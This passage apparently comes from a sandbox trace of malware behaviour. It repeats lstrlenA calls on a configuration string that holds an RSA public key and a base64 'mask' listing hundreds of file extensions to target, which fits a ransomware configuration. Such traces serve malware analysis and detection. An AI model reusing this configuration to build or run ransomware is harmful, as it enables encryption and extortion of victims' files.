J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCA